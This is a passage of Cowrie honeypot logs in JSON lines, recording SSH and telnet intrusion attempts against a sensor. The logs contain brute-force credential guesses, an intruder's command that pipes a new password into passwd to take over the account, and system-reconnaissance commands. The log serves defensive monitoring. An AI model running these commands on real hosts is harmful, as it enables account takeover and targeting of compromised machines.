256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:44.917906Z","src_ip":"186.80.18.158","session":"fe664303ccfb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:45.280245Z","src_ip":"186.80.18.158","session":"fe664303ccfb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.324657678604126,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:46.021353Z","src_ip":"201.71.14.98","session":"a45f404f80b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:46.361307Z","src_ip":"186.80.18.158","session":"fe664303ccfb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:46.463257Z","src_ip":"186.80.18.158","session":"dff3f076d71f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:46.465897Z","src_ip":"186.80.18.158","session":"dff3f076d71f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:46.543257Z","src_ip":"186.80.18.158","session":"dff3f076d71f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:46.720327Z","src_ip":"186.80.18.158","session":"dff3f076d71f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"admin@1\\nBjBPnGmG34L6\\nBjBPnGmG34L6\"|passwd|bash","message":"CMD: echo -e \"admin@1\\nBjBPnGmG34L6\\nBjBPnGmG34L6\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:46.723336Z","src_ip":"186.80.18.158","session":"dff3f076d71f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:46.726496Z","src_ip":"186.80.18.158","session":"dff3f076d71f","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:46.729383Z","src_ip":"186.80.18.158","session":"dff3f076d71f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7a24b627467ff788e436c8e822f5ce7846d74dc761dc382152c49587a2bb1f72","size":32,"shasum":"7a24b627467ff788e436c8e822f5ce7846d74dc761dc382152c49587a2bb1f72","duplicate":false,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7a24b627467ff788e436c8e822f5ce7846d74dc761dc382152c49587a2bb1f72 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:46.804437Z","src_ip":"186.80.18.158","session":"dff3f076d71f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:46.985423Z","src_ip":"186.80.18.158","session":"dff3f076d71f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"admin@1\\nBjBPnGmG34L6\\nBjBPnGmG34L6\\n\"|passwd","message":"CMD: echo \"admin@1\\nBjBPnGmG34L6\\nBjBPnGmG34L6\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:46.988039Z","src_ip":"186.80.18.158","session":"dff3f076d71f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/51ff1610e2f995a7297e8947754e3395bbd4083a00a87a7e5d837ed53210b89c","size":25,"shasum":"51ff1610e2f995a7297e8947754e3395bbd4083a00a87a7e5d837ed53210b89c","duplicate":false,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/51ff1610e2f995a7297e8947754e3395bbd4083a00a87a7e5d837ed53210b89c after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:47.062169Z","src_ip":"186.80.18.158","session":"dff3f076d71f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:47.275218Z","src_ip":"186.80.18.158","session":"dff3f076d71f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:47.277597Z","src_ip":"186.80.18.158","session":"dff3f076d71f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:47.351347Z","src_ip":"186.80.18.158","session":"dff3f076d71f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:47.526354Z","src_ip":"186.80.18.158","session":"dff3f076d71f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:47.529312Z","src_ip":"186.80.18.158","session":"dff3f076d71f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":26,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:47.609480Z","src_ip":"186.80.18.158","session":"dff3f076d71f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:47.787515Z","src_ip":"186.80.18.158","session":"dff3f076d71f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:47.790102Z","src_ip":"186.80.18.158","session":"dff3f076d71f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:47.791919Z","src_ip":"186.80.18.158","session":"dff3f076d71f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:47.867180Z","src_ip":"186.80.18.158","session":"dff3f076d71f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:48.080954Z","src_ip":"186.80.18.158","session":"dff3f076d71f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:48.084596Z","src_ip":"186.80.18.158","session":"dff3f076d71f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:48.165950Z","src_ip":"186.80.18.158","session":"dff3f076d71f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:48.620218Z","src_ip":"186.80.18.158","session":"dff3f076d71f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:48.622742Z","src_ip":"186.80.18.158","session":"dff3f076d71f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:48.697984Z","src_ip":"186.80.18.158","session":"dff3f076d71f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:48.883209Z","src_ip":"186.80.18.158","session":"dff3f076d71f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:48.886334Z","src_ip":"186.80.18.158","session":"dff3f076d71f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:48.961034Z","src_ip":"186.80.18.158","session":"dff3f076d71f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:49.142881Z","src_ip":"186.80.18.158","session":"dff3f076d71f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:49.145966Z","src_ip":"186.80.18.158","session":"dff3f076d71f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:49.220139Z","src_ip":"186.80.18.158","session":"dff3f076d71f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:49.405613Z","src_ip":"186.80.18.158","session":"dff3f076d71f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:49.409978Z","src_ip":"186.80.18.158","session":"dff3f076d71f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:49.485520Z","src_ip":"186.80.18.158","session":"dff3f076d71f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:49.666542Z","src_ip":"186.80.18.158","session":"dff3f076d71f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:49.670090Z","src_ip":"186.80.18.158","session":"dff3f076d71f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:49.745165Z","src_ip":"186.80.18.158","session":"dff3f076d71f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:49.929020Z","src_ip":"186.80.18.158","session":"dff3f076d71f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:49.932034Z","src_ip":"186.80.18.158","session":"dff3f076d71f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:50.007843Z","src_ip":"186.80.18.158","session":"dff3f076d71f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:50.185205Z","src_ip":"186.80.18.158","session":"dff3f076d71f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:50.188754Z","src_ip":"186.80.18.158","session":"dff3f076d71f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:50.263804Z","src_ip":"186.80.18.158","session":"dff3f076d71f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:50.445807Z","src_ip":"186.80.18.158","session":"dff3f076d71f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:50.448219Z","src_ip":"186.80.18.158","session":"dff3f076d71f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:50.528141Z","src_ip":"186.80.18.158","session":"dff3f076d71f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:50.707756Z","src_ip":"186.80.18.158","session":"dff3f076d71f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:50.711114Z","src_ip":"186.80.18.158","session":"dff3f076d71f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:50.786560Z","src_ip":"186.80.18.158","session":"dff3f076d71f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.5","message":"Connection lost after 8.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:50.791612Z","src_ip":"186.80.18.158","session":"dff3f076d71f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.271902084350586,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:51.595520Z","src_ip":"185.173.227.163","session":"84cb45806623","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":45294,"dst_ip":"159.203.135.109","dst_port":22,"session":"3a8565f06072","protocol":"ssh","message":"New connection: 122.168.114.167:45294 (159.203.135.109:22) [session: 3a8565f06072]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:54.278919Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:56.330221Z","src_ip":"122.168.114.167","session":"3a8565f06072","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:56.338368Z","src_ip":"122.168.114.167","session":"3a8565f06072","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.772969484329224,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:18:58.742185Z","src_ip":"185.26.126.47","session":"b79ea74d1d97","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"username","password":"username","message":"login attempt [username/username] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:19:05.464999Z","src_ip":"122.168.114.167","session":"3a8565f06072","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.4","message":"Connection lost after 14.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:19:08.726984Z","src_ip":"122.168.114.167","session":"3a8565f06072","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":41842,"dst_ip":"159.203.135.109","dst_port":22,"session":"158bb80ef927","protocol":"ssh","message":"New connection: 159.203.92.129:41842 (159.203.135.109:22) [session: 158bb80ef927]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:19:16.889553Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:19:16.894859Z","src_ip":"159.203.92.129","session":"158bb80ef927","protocol":"ssh"}
